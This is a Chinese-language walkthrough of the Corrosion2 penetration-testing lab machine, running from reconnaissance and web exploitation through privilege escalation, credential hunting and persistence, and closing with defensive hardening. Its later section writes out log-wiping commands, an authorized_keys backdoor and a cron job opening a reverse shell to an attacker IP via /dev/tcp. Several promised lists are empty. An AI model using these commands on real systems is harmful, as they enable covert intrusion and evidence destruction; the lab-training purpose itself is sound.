"Corrosion2靶机"是网络安全领域中一款专门设计的渗透测试训练环境,模拟了企业网络中常见的漏洞和错误配置场景。这个靶机环境最初由安全研究人员开发,旨在帮助从业者练习漏洞利用、权限提升和横向移动等核心渗透测试技能。与市面上其他靶机不同,Corrosion2特别注重模拟现代企业环境中实际存在的漏洞组合,而非单一漏洞的简单复现。
我第一次接触这个靶机是在去年的一次内部红队培训中。当时团队需要一套能够真实反映当前企业网络威胁态势的训练环境,Corrosion2因其多层次的防御突破点和接近真实的网络拓扑脱颖而出。靶机名称中的"Corrosion"(腐蚀)暗示了渗透测试中常见的"渐进式入侵"策略——通过看似微小的漏洞逐步侵蚀整个系统防线。
Corrosion2靶机镜像可以从多个网络安全社区的资源板块获取,通常以OVA或VMDK格式提供。建议使用VMware Workstation或VirtualBox进行部署,这两种虚拟化平台都能很好地兼容该靶机。部署时需要注意:
重要提示:首次启动时请确保虚拟机的网络适配器已正确连接,否则可能无法获取IP地址。我在第一次部署时就遇到了这个问题,花了半小时排查才发现是虚拟网络编辑器配置错误。
成功启动靶机后,我们需要进行基础信息收集。通过ARP扫描或查看路由器DHCP分配列表可以找到靶机的IP地址。使用nmap进行基础扫描是标准做法:
bash复制nmap -sV -O -T4 <靶机IP>
典型扫描结果会显示以下开放端口:
Corrosion2的Web界面是第一个需要重点关注的攻击面。通过目录爆破工具(如dirb、gobuster)可以快速发现隐藏路径:
bash复制gobuster dir -u http://<靶机IP> -w /usr/share/wordlists/dirb/common.txt
常见发现包括:
我在测试中发现一个典型的漏洞链:通过/admin页面的SQL注入获取管理员凭证→登录后利用文件上传功能传webshell→通过webshell获取低权限shell。这种多层漏洞组合在企业环境中极为常见。
除了Web应用,系统服务也是重要突破口。NFS服务(2049端口)经常配置了不安全的共享权限:
bash复制showmount -e <靶机IP>
如果发现可挂载的共享目录,可以尝试挂载并查看内容:
bash复制mount -t nfs <靶机IP>:/path/to/share /mnt/nfs
曾在一个案例中,通过NFS共享找到了包含SSH私钥的备份文件,从而实现了权限提升。这种配置错误在匆忙部署的开发环境中相当普遍。
获取初始shell后,通常需要提升到root权限。检查系统内核版本是第一步:
bash复制uname -a
cat /etc/issue
Corrosion2通常会故意保留一个已知的内核漏洞。例如CVE-2017-16995(Linux内核提权漏洞)就是常见选择。利用过程包括:
bash复制gcc exploit.c -o exploit
bash复制chmod +x exploit
./exploit
经验之谈:不是所有exp都能一次成功,有时需要调整编译参数或尝试不同版本的exp。我在一次测试中换了三个不同来源的exp才最终成功。
除了内核漏洞,系统配置错误也是提权的好途径。重点检查:
bash复制find / -perm -4000 -type f 2>/dev/null
bash复制find / -writable -type f 2>/dev/null | grep -v "/proc/"
bash复制crontab -l
ls -la /etc/cron*
曾通过一个配置错误的SUID版bash实现了提权:
bash复制/usr/local/bin/suid_bash -p
在真实企业环境中,横向移动往往依赖于获取的各类凭证。Corrosion2模拟了这种场景:
bash复制grep -r "password" /var/www/
bash复制strings /dev/mem | grep -i pass
bash复制john --wordlist=rockyou.txt id_rsa.hash
如果靶机环境中有多个系统,可以尝试:
bash复制tcpdump -i eth0 -w capture.pcap
分析捕获的流量可能发现明文传输的凭证或其他敏感信息。
完成渗透后,清理痕迹是专业红队的必备技能:
bash复制# 清除当前用户的命令历史
history -c
rm ~/.bash_history
# 清理系统日志
echo "" > /var/log/auth.log
常见的持久化方法包括:
bash复制echo "公钥内容" >> ~/.ssh/authorized_keys
bash复制(crontab -l ; echo "* * * * * /bin/bash -c 'exec 9<> /dev/tcp/攻击机IP/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i'") | crontab -
bash复制systemctl edit --full vulnerable-service
基于Corrosion2暴露的漏洞,企业可以采取以下防御措施:
Web应用安全:
系统加固:
bash复制# 禁用不必要的服务
systemctl disable nfs-server
# 更新内核和软件包
apt update && apt upgrade -y
# 配置防火墙规则
ufw allow 22/tcp
ufw enable
监控与检测:
在实际渗透测试中,Corrosion2靶机教会我最重要的一课是:安全是一个整体链条,往往最薄弱的环节决定了整个系统的安全性。从web应用到系统服务,再到人员操作习惯,每个层面都需要同等重视。